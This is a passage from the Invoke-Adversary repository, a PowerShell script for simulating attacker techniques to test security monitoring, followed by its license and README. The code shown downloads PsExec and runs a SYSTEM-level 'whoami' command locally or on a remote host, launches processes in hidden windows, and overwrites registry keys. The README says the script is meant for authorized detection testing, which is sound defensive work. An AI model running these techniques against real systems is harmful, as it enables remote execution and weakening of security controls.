CharSet=CharSet.Auto)] 600 | public static extern bool MessageBox( 601 | IntPtr hWnd, /// Parent window handle 602 | String text, /// Text message to display 603 | String caption, /// Window caption 604 | int options); /// MessageBox type 605 | } 606 | "@ 607 | [User32Dll]::MessageBox(0, "API Call Succeed", "Invoke-Adversary", 0) |Out-Null 608 | } 609 | Function sub_Execution_PSExecRemote() { 610 | $FileName = [System.IO.Path]::GetTempFileName().replace(".tmp", ".exe") 611 | $url = "https://live.sysinternals.com/psexec.exe" 612 | 613 | Write-LogToConsole "Downloading PSExec into [$FileName]" 614 | $wc = New-Object System.Net.WebClient 615 | $wc.DownloadFile($url, $FileName) 616 | 617 | Unblock-File $FileName 618 | $HostName = Read-Host -Prompt "Hostname or IP address of server to connect" 619 | Start-ProcessEx -FileName $FileName -Arguments "\\$HostName -accepteula -s cmd.exe /c whoami" 620 | 621 | Write-LogToConsole "Deleting PSExec [$FileName]" 622 | Remove-Item $FileName -Force 623 | } 624 | Function sub_Execution_PSExecRandom() { 625 | $FileName = [System.IO.Path]::GetTempFileName().replace(".tmp", ".exe") 626 | $url = "https://live.sysinternals.com/psexec.exe" 627 | 628 | Write-LogToConsole "Downloading PSExec into [$FileName]" 629 | $wc = New-Object System.Net.WebClient 630 | $wc.DownloadFile($url, $FileName) 631 | 632 | Unblock-File $FileName 633 | Start-ProcessEx -FileName $FileName -Arguments "-accepteula -s cmd.exe /c whoami" 634 | 635 | Write-LogToConsole "Deleting PSExec [$FileName]" 636 | Remove-Item $FileName -Force 637 | } 638 | #endregion 639 | Function Start-ProcessEx { 640 | Param 641 | ( 642 | [string]$FileName, 643 | [string]$Arguments 644 | ) 645 | 646 | $props = @{ 647 | 'Stdout' = $null; 648 | 'Stderr' = $null; 649 | 'ExitCode' = 0; 650 | } 651 | 652 | $pinfo = New-Object System.Diagnostics.ProcessStartInfo 653 | $pinfo.FileName = $FileName 654 | $pinfo.RedirectStandardError = $true 655 | $pinfo.RedirectStandardOutput = $true 656 | $pinfo.UseShellExecute = $false 657 | $pinfo.CreateNoWindow = $true 658 | $pinfo.Arguments = $Arguments 659 | $pinfo.WindowStyle = "hidden" 660 | $p = New-Object System.Diagnostics.Process 661 | $p.StartInfo = $pinfo 662 | 663 | Write-LogToConsole "Executing: $FileName $Arguments" 664 | 665 | $p.Start() | Out-Null 666 | $props.Stdout = $p.StandardOutput.ReadToEnd() 667 | $props.Stderr = $p.StandardError.ReadToEnd() 668 | 669 | $p.WaitForExit() 670 | 671 | 672 | $props.ExitCode = $p.ExitCode 673 | 674 | Write-LogToConsole "Process ID: [$($p.Id)] Exit Code: [$($props.ExitCode)]" 675 | 676 | if ($props.ExitCode -ne 0) { 677 | Write-ErrToConsole $props.Stderr 678 | } 679 | else { 680 | Write-CmdToConsole $props.Stdout 681 | } 682 | 683 | } 684 | Function Set-RegistryKey() { 685 | Param 686 | ( 687 | $RegKey, 688 | $RegValue, 689 | $RegData, 690 | [ValidateSet('String', 'DWord', 'Binary', 'ExpandString', 'MultiString', 'None', 'QWord', 'Unknown')] 691 | $RegType = 'String' 692 | ) 693 | 694 | If (-not (Test-Path $RegKey)) { 695 | Write-LogToConsole "The key $RegKey not exists. Try to set value" 696 | Try { 697 | New-Item -Path $RegKey -Force | Out-Null 698 | Set-ItemProperty -Path $RegKey -Name $RegValue -Value $RegData -Type $RegType -Force 699 | } 700 | Catch { 701 | Write-Error -Message $_ 702 | } 703 | Write-LogToConsole "Creation of $RegValue in $RegKey was successfull" 704 | } 705 | else { 706 | Write-LogToConsole "The key $RegKey already exists. Try to set value" 707 | Try { 708 | # Create backup 709 | $OriginalValue = Get-ItemProperty -Path $RegKey -Name $RegValue -ErrorAction SilentlyContinue 710 | if ($OriginalValue -ne $null) { 711 | New-Item -Path $RegKey -Name _Backup –Force | Out-Null 712 | Write-LogToConsole "Creating registry backup at $($RegKey)\_Backup" 713 | 714 | Set-ItemProperty -Path "$($RegKey)\_Backup" -Name $RegValue -Value $OriginalValue.$RegValue -Type $RegType -Force 715 | } 716 | # Overwrite 717 | Set-ItemProperty -Path $RegKey -Name $RegValue -Value $RegData -Type $RegType -Force 718 | } 719 | Catch { 720 | Write-ErrToConsole -Message $_ 721 | } 722 | Write-LogToConsole "Creation of $RegValue in $RegKey was successfull" 723 | } 724 | 725 | } 726 | 727 | 728 | 729 | Init 730 | Main 731 | 732 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | BSD 3-Clause License 2 | 3 | Copyright (c) 2018, MotiBa 4 | All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are met: 8 | 9 | * Redistributions of source code must retain the above copyright notice, this 10 | list of conditions and the following disclaimer. 11 | 12 | * Redistributions in binary form must reproduce the above copyright notice, 13 | this list of conditions and the following disclaimer in the documentation 14 | and/or other materials provided with the distribution. 15 | 16 | * Neither the name of the copyright holder nor the names of its 17 | contributors may be used to endorse or promote products derived from 18 | this software without specific prior written permission. 19 | 20 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 21 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 22 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 23 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 24 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 25 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 26 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 27 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 28 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Invoke-Adversary 2 | Invoke-Adversary is a PowerShell script that helps you to evaluate security products and monitoring solutions based on how well they detect advanced persistent threats. 3 | 4 | Warning 5 | This script is provided AS IS without warranty of any kind 6 | 7 | The script should be used for authorized testing and/or educational purposes only with no exceptions. By using the script Windows system's security and stability (including but not limited to: passwords dump, disabling security features, etc.) may be affected so DON'T RUN IT ON PRODUCTION systems. 8 | 9 | For full description and usage guide you can use this blog post: https://blogs.technet.microsoft.com/motiba/2018/04/09/invoke-adversary-simulating-adversary-operations/ 10 | --------------------------------------------------------------------------------